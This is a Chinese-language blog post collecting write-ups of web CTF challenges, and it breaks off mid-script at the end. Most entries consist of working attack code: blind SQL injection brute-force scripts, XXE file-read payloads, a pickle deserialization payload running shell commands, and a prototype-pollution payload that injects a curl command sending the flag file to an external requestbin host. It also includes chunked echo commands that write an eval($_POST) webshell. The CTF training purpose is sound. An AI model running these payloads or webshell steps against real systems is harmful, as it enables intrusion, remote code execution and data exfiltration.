积累的一些web题目

[GXYCTF2019]BabySQli

考点:SQL注入

题目界面

随便输入用户名和密码后查看源码得到提示

1
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

解开为

1
select * from user where username = '$name'

我们需要以admin的身份登陆,可以使用union查询,控制为任意密码

33

virink_2019_files_share

考点:文件读取绕过

题目界面

查看源代码可以看到存在uploads目录

下载时抓包,发现可能存在任意文件读取,测试后发现将../替换为空,这里使用双写绕过即可

1
....//....//....//....//....//....//....//etc..//passwd

[CSAWQual 2019]Web_Unagi

考点:xxe

题目界面

题目是想让我们上传与示例相符的xml文件,不难联想到xxe,在测试时发现某些关键字被过滤了,借鉴这篇文章

https://xz.aliyun.com/t/4059

可以用utf-16编码来绕过,使用UltraEdit软件来编写utf-16payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version='1.0' encoding="utf-16"?>
<!DOCTYPE message[
<!ELEMENT message ANY >
<!ENTITY % NUMBER '<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///yemoli/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%NUMBER;
]>
<users>
<user>
<username>aaa</username>
<password>qqq</password>
<name>bbb</name>
<email>a@qq.com</email>
<group>CSAW2019</group>
<message>a</message>
</user>
</users>

按照正常方式发现回显位有长度限制,所以这里用到了与[GoogleCTF2019 Quals]Bnv中一样的利用报错带出数据的方法

[GoogleCTF2019 Quals]Bnv

考点:xxe

题目界面:

该题目主要考点是xxe在无法加载外部dtd时错误数据的带出,参考下面这篇文章

https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/

payload:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE message[
<!ELEMENT message ANY >
<!ENTITY % NUMBER '<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///yemoli/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%NUMBER;
]>
<message>a</message>

[HarekazeCTF2019]Easy Notes

考点:session伪造

题目界面

登陆后可以添加note,然后以压缩文件形式下载下来,当访问flag页面时提示我们需要成为admin,审计源码,会发现session和压缩文件存储在同一路径下,看一下压缩文件的命名

由用户名,-,八个随机串,和后缀构成,这个时候就给了我们伪造session的机会

以用户名sess_登陆,然后添加note,title为|N;admin|b:1;body随意,在下载时将type改为.,这样就得到了伪造的session名称,替换一下即可

[RCTF2015]EasySQL

考点:二次注入

题目界面

changepwd.php处存在二次注入利用点,可利用报错函数带出数据

放上一个用户名的payload

1
1mio"||(extractvalue(1,concat(0x5c,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))))))#

注入过程

1
2
3
4
5
6
7
8
9
10
11
12
select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())

article,flag,users

select(group_concat(column_name))from(information_schema.columns)where(table_name='users')

name,pwd,email,real_flag_1s_here

select(real_flag_1s_here)from(users)where(name='admin')
(real_flag_1s_here)regexp('f')

reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f')))

由于最后带出flag的时候,报错函数存在回显长度限制,可以使用reverse函数逆序输出,拼接得到完整的结果

[极客大挑战 2019]FinalSQL

考点:SQL盲注

题目界面

题目注入点在search.php?id=1id=1=0id=1=1时会有不同结果返回,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import time
url = "http://5d1768ad-6d8d-462b-96c1-5c28f6edb4fc.node3.buuoj.cn/search.php?id=1="
s = requests.session()
result = ""
dict_sql = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890!@#$%^&*/()_-+={}.:,'
for i in range(1,2000):
print('====================================')
for j in dict_sql:
time.sleep(0.1)
payload = "((ascii(substr((select(group_concat(password))from(F1naI1y)),{},1)))={})".format(i,ord(j))
url1 = url+payload
html = s.get(url1,timeout=5)
if 'Click others~~~' in html.text:
result = result+j
print(result)
break

数据

1
2
3
4
5
6
7
8
9
select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')

F1naI1y,Flaaaaag

select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')

id,username,password

select(group_concat(password))from(F1naI1y)

[安洵杯 2019]不是文件上传

考点:SQL注入,反序列化

题目界面

根据题目首页面泄露的信息,在GitHub上找到了该站点源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
//helper.php
<?php
class helper {
protected $folder = "pic/";
protected $ifview = False;
protected $config = "config.txt";
// The function is not yet perfect, it is not open yet.

public function upload($input="file")
{
$fileinfo = $this->getfile($input);
$array = array();
$array["title"] = $fileinfo['title'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo['path'];
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
}
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}

public function getfile($input)
{
if(isset($input)){
$rs = $this->check($_FILES[$input]);
}
return $rs;
}

public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}

public function save($data)
{
if(!$data || !is_array($data)){
die("Something wrong!");
}
$id = $this->insert_array($data);
return $id;
}

public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","root","root","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}

public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}

function __destruct(){
# Read some config html
$this->view_files($this->config);
}
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//show.php
<?php
include("./helper.php");
$show = new show();
if($_GET["delete_all"]){
if($_GET["delete_all"] == "true"){
$show->Delete_All_Images();
}
}
$show->Get_All_Images();

class show{
public $con;

public function __construct(){
$this->con = mysqli_connect("127.0.0.1","root","root","pic_base");
if (mysqli_connect_errno($this->con)){
die("Connect MySQL Fail:".mysqli_connect_error());
}
}

public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}

public function Delete_All_Images(){
$sql = "DELETE FROM images";
$result = mysqli_query($this->con, $sql);
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//upload.php
<?php
include("./helper.php");
class upload extends helper {
public function upload_base(){
$this->upload();
}
}

if ($_FILES){
if ($_FILES["file"]["error"]){
die("Upload file failed.");
}else{
$file = new upload();
$file->upload_base();
}
}

$a = new helper();
?>

存在一处注入点

helper.php上部分未对title进行过滤,可以在图中红线部分进行insert注入,抽象出来的语句

1
insert into images (`title`,`filename`,`ext`,`path`,`attr`) values ('a','b','c','d','e')

a是我们可控的,同时在show.php中发现了反序列化的触发点

该处是针对语句中的e进行反序列化操作,通过注入我们可以控制e处序列化的字符串,利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class helper {
protected $config = "/flag";
protected $ifview = 1;
// The function is not yet perfect, it is not open yet.
public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}

function __destruct(){
# Read some config html
$this->view_files($this->config);
}
}

$a = new helper;
echo serialize($a);

然后将%00*%00替换为\\0\\0\\0,因为代码中存在该处替换

1
O:6:"helper":2:{s:9:"\\0\\0\\0config";s:5:"/flag";s:9:"\\0\\0\\0ifview";i:1;}

因为文件名中不可以有:"等字符,把该段转化成16进制,最后文件名为

1
a','b','c','d',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b733a393a225c305c305c30696676696577223b693a313b7d)#

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

题目界面

用伪协议读一下源码

1
?file=php://filter/convert.base64-encode/resource=index.php

重点代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//confirm.php
<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//change.php
<?php
require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

其中输入的时候confirm.php未对address进行过滤,只是进行了addslashes处理,这样配合修改功能,就可以造成二次注入,可使用报错函数updatexmlpayload如下

1
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

当更新地址时,该句会出现错误带出数据

1
"update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id']

[强网杯 2019]随便注

题目界面

该题目考察堆叠注入相关知识,其中有如下过滤

1
2
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
strstr($inject, "set") && strstr($inject, "prepare")

进行注入

1
?inject=1';show databases;
1
?inject=1';use supersqli;show tables;
1
?inject=1';show columns from words;
1
?inject=1';show columns from `1919810931114514`;

现在基本上清楚了数据库中表的结构,由于不能使用select,这里使用alterwords表换成1919810931114514,然后添加id字段,同时将flag字段改名为data字段,这样通过查询就可以直接拿到flag,语句如下

1
ALTER TABLE words RENAME TO moli;ALTER TABLE `1919810931114514` RENAME TO words;ALTER TABLE words ADD id CHAR(10) DEFAULT '1';ALTER TABLE words CHANGE flag data BIGINT;

直接查询

[GWCTF 2019]枯燥的抽奖

考点:伪随机数

题目界面

控制台查看网络来到check.php,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

这是个经典的伪随机数问题,可以参考该文章:https://www.freebuf.com/vuls/192012.html

将得到的部分字母还原成随机数

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$pass_now = "W0dCwtjQ3A";
$allowable_characters = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$len = strlen($allowable_characters) - 1;
for ($j = 0; $j < strlen($pass_now); $j++) {
for ($i = 0; $i < $len; $i++) {
if ($pass_now[$j] == $allowable_characters[$i]) {
echo "$i $i 0 $len ";
break;
}
}
}

爆破种子

得到了在7.1版本下的种子,然后对完整的字符串进行还原,注意要在7.1版本下运行代码

1
2
3
4
5
6
7
8
9
10
<?php
mt_srand(237387795);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}

echo $str;

[HarekazeCTF2019]encode_and_encode

题目界面

重点源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//query.php
<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

我们需要以json的格式传入想读的文件名,但存在is_valid函数进行安全检查,这里可使用unicode进行绕过,同时为了避免文件内容有拦截,可以进行编码,例如

1
{"page":"php\u003a//filter/convert.base64-encode/resource=/fl\u0061g"}

在线转换

http://tool.chinaz.com/tools/unicode.aspx

[CISCN2019 华北赛区 Day1 Web2]ikun

考点:jwt伪造,pickle

题目界面

首先要我们购买lv6,开始寻找lv6所在页面,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import time
url = "http://6664045a-dfa6-4a6c-9ffb-bb0cd3a6a5d2.node3.buuoj.cn/shop?page="
s = requests.session()
for i in range(1,999):
url1 = url + str(i)
print('=================================')
try:
html = s.get(url1)
print(html.status_code)
if "lv6.png" in html.text:
print(url1)
break
except:
print('[-]ERROR')
time.sleep(0.1)

发现在181页,购买时发现账户中的金额不足,抓包去修改折扣数值,将其改小一些,例如0.0000001,购买后提示我们不是admin,进而查看当前cookie,发现是jwt,拿出来爆破一下密钥

cookie替换,查看源码,给了源码泄露的地址,下载下来审计一下,发现了反序列化的点

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib

class payload(object):
def __reduce__(self):
#return (eval, ("open('/flag.txt','r').read()",))
return (eval,("__import__('os').popen('cat /flag.txt').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a

[MRCTF2020]Ezaudit

考点:伪随机数

题目界面

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}

else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}

}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???

可以爆破伪随机数种子

1
2
3
4
5
6
7
8
9
10
11
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='W0dCwtjQ3A'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)

爆破出种子,然后生成对应的private_key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
// mt_srand(1775196155);
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
$pri = private_key();
echo $Public_key;
echo "<br>";
echo $pri;

然后用万能密码绕过拿到flag

[BSidesCF 2019]Mixer

题目界面

登陆后抓包,删掉cookie中user值的一位,出现如下报错

猜测是CBC加密,明文为如下格式

1
{"first_name":"aaa","last_name":"bbb","is_admin":0}

目标是将is_admin的值变成1

虽然我们不知道初始化向量的值,但是由于明文是16位一组,可以对明文进行填充,这里放上一张网上的图

最后将1.000000000000的值插入到倒数第二个密文块即可

1
user=e7bad305dcc721367f5d961d63c3d340ca4aab0f874c635b68388961ef03dbeb6fe6a8eade0270198a1dc8524d634a8912ca916102c524c31daa8e088dffc2a8ca4aab0f874c635b68388961ef03dbeb8d5f5566bef8a2111ee37728c651b131

[网鼎杯 2020 青龙组]notes

考点:undefsafe导致的原型链污染

参考CVE-2019-10795,当undefsafe小于2.0.3时,会存在原型链污染漏洞,题目代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');

var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

参考如下文章https://www.4hou.com/index.php/posts/Zppg

在/edit_note处存在原型链污染利用点,在/status路由下存在命令执行利用点,操作如下

首先污染原型

1
{"id":"__proto__","author":"curl -X POST -d \"fizz=`cat /flag`\" http://http.requestbin.buuoj.cn/1hrdjp81","raw":"aaa"}

然后访问/status路由

会执行curl命令,拿到flag

[HarekazeCTF2019]Sqlite Voting

考点:sqlite注入绕过

题目界面

源码

此处id是注入点,但是过滤了常规的注入函数。这里可使用replace进行长度的替换来进行盲注

用下面的测试来说明问题

47

这样通过逐位爆破就可以拿到flag

在本题中过滤了单引号,空格等特殊字符串,可以使用括号分割的方式来代替空格,然后使用双hex将flag转换为只有0-9的数字,但是replace替换只能替换完整的数字,我们可以使用||来将数字转换为字符串,测试如图

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time
s = requests.session()
url = "http://50f65f15-fd2f-4898-8a74-9f812aff59f4.node3.buuoj.cn/vote.php"
result = ""
for i in range(1,1000):
print("========================================================")
for j in range(0,10):
time.sleep(0.1)
#爆破flag长度
# payload = f"abs(case(replace(length(hex(hex((select(flag)from(flag))))),{i},trim(0,0)))when(trim(0,0))then(0x100)else(0x8000000000000000)end)"
temp = result+"||"+str(j)
len1 = 109-i
payload = f"abs(case(length(replace(hex(hex((select(flag)from(flag)))),3||6||3||6||3||6||4||3||3||6||3||1||3||6||3||7||3||7||4||2||3||3||3||7||3||6||3||5||3||6||3||4||3||3||3||7||3||3||3||2||3||3||3||9||3||6||3||5||3||3||3||9||3||2||4||4||3||3||3{temp},trim(0,0))))when({len1})then(0x100)else(0x8000000000000000)end)"
data = {"id":payload}
print(len1,payload)
try:
html = s.post(url,data=data)
# print(html.text)
if "Thank you" in html.text:
result = temp
print(result)
break
except:
pass

[PwnThyBytes 2019]Baby_SQL

考点:sql注入,session触发

题目界面

查看源码,index.php

过滤了传入进来的数据,接着看login.php

对于传入的参数没有任何过滤,但是存在着session校验,直接访问是会die

查到如下资料

那么我们可以这样来绕过session校验

然后就是正常的sql注入,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
dicts = "1234567890qwertyuiopasdfghjklzxcvbnm_,.-={}QWERTYUIOPASDFGHJKLZXCVBNM:?#@!$%^&*()"
results = ""
s = requests.session()
url = "http://c911afa2-0281-44d1-8053-97a57aaeb3e6.node3.buuoj.cn/templates/login.php"
for i in range(1,100):
print("===================================")
for j in dicts:
time.sleep(0.1)
ass = ord(j)
# payload = f"""?username=ad"%20or%20if((ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),{i},1))={ass}),0,1)%23&password=1234567890"""
# payload = f"""?username=ad"%20or%20if((ascii(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='flag_tbl'),{i},1))={ass}),0,1)%23&password=1234567890"""
payload = f"""?username=ad"%20or%20if((ascii(substr((select%20secret%20from%20flag_tbl),{i},1))={ass}),0,1)%23&password=1234567890"""
cookies = {"PHPSESSID":"b682f0720ec20073b57edf45e2041840"}
# print(url+payload)
html = s.post(url=url+payload,cookies=cookies,files={"file":"666"},data={"PHP_SESSION_UPLOAD_PROGRESS":122})
if "Try" in html.text:
results = results+j
print(results)
break

[WMCTF2020]Make PHP Great Again

考点:require_once小缺陷

题目如图

require_once执行过后,继续使用该函数包含同一个文件不会再次包含,这里可以使用require软链接的小缺陷

尝试如下方式读取flag.php

1
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

还可以使用如下方法

1
php://filter/convert.base64-encode/resource=/hello/../proc/self/cwd/flag.php

[Black Watch 入群题]Web2

考点:rollup注入,mysql任意文件读取

题目界面

登陆处过滤了or ' and 等,可使用group by with rollup,可将username的单引号转义掉,payload如下

1
username=\&password=||1 group by token with rollup having token is NULL--+&question=1

成功登陆后台,在查看数据处可使用00截断来进行目录穿越列目录

可以拿到flag文件名,接着利用题目中的数据备份功能,配合mysql客户端任意文件读取漏洞读取flag,参考如下文章

https://blog.csdn.net/qq_41107295/article/details/100743094

工具下载地址

https://github.com/allyshka/Rogue-MySql-Server

2018_web_virink_web

考点:限制字符数量写shell,PHP-FPM未授权访问漏洞,rsync未授权访问漏洞

题目界面

限制了 命令执行的长度长度,可分块写入shell

1
2
3
4
5
6
7
echo '<?php'>1.php
echo -n 'eva'>>1.php
echo -n 'l($'>>1.php
echo -n '_PO'>>1.php
echo -n 'ST['>>1.php
echo -n 'c])'>>1.php
echo -n ';'>>1.php

写入后发现存在内网服务,使用如下脚本探测端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import socket
def foo():
with open('active_port.txt','at') as f:
for i in range(65535+1):
ip = '10.21.125.10'
try:
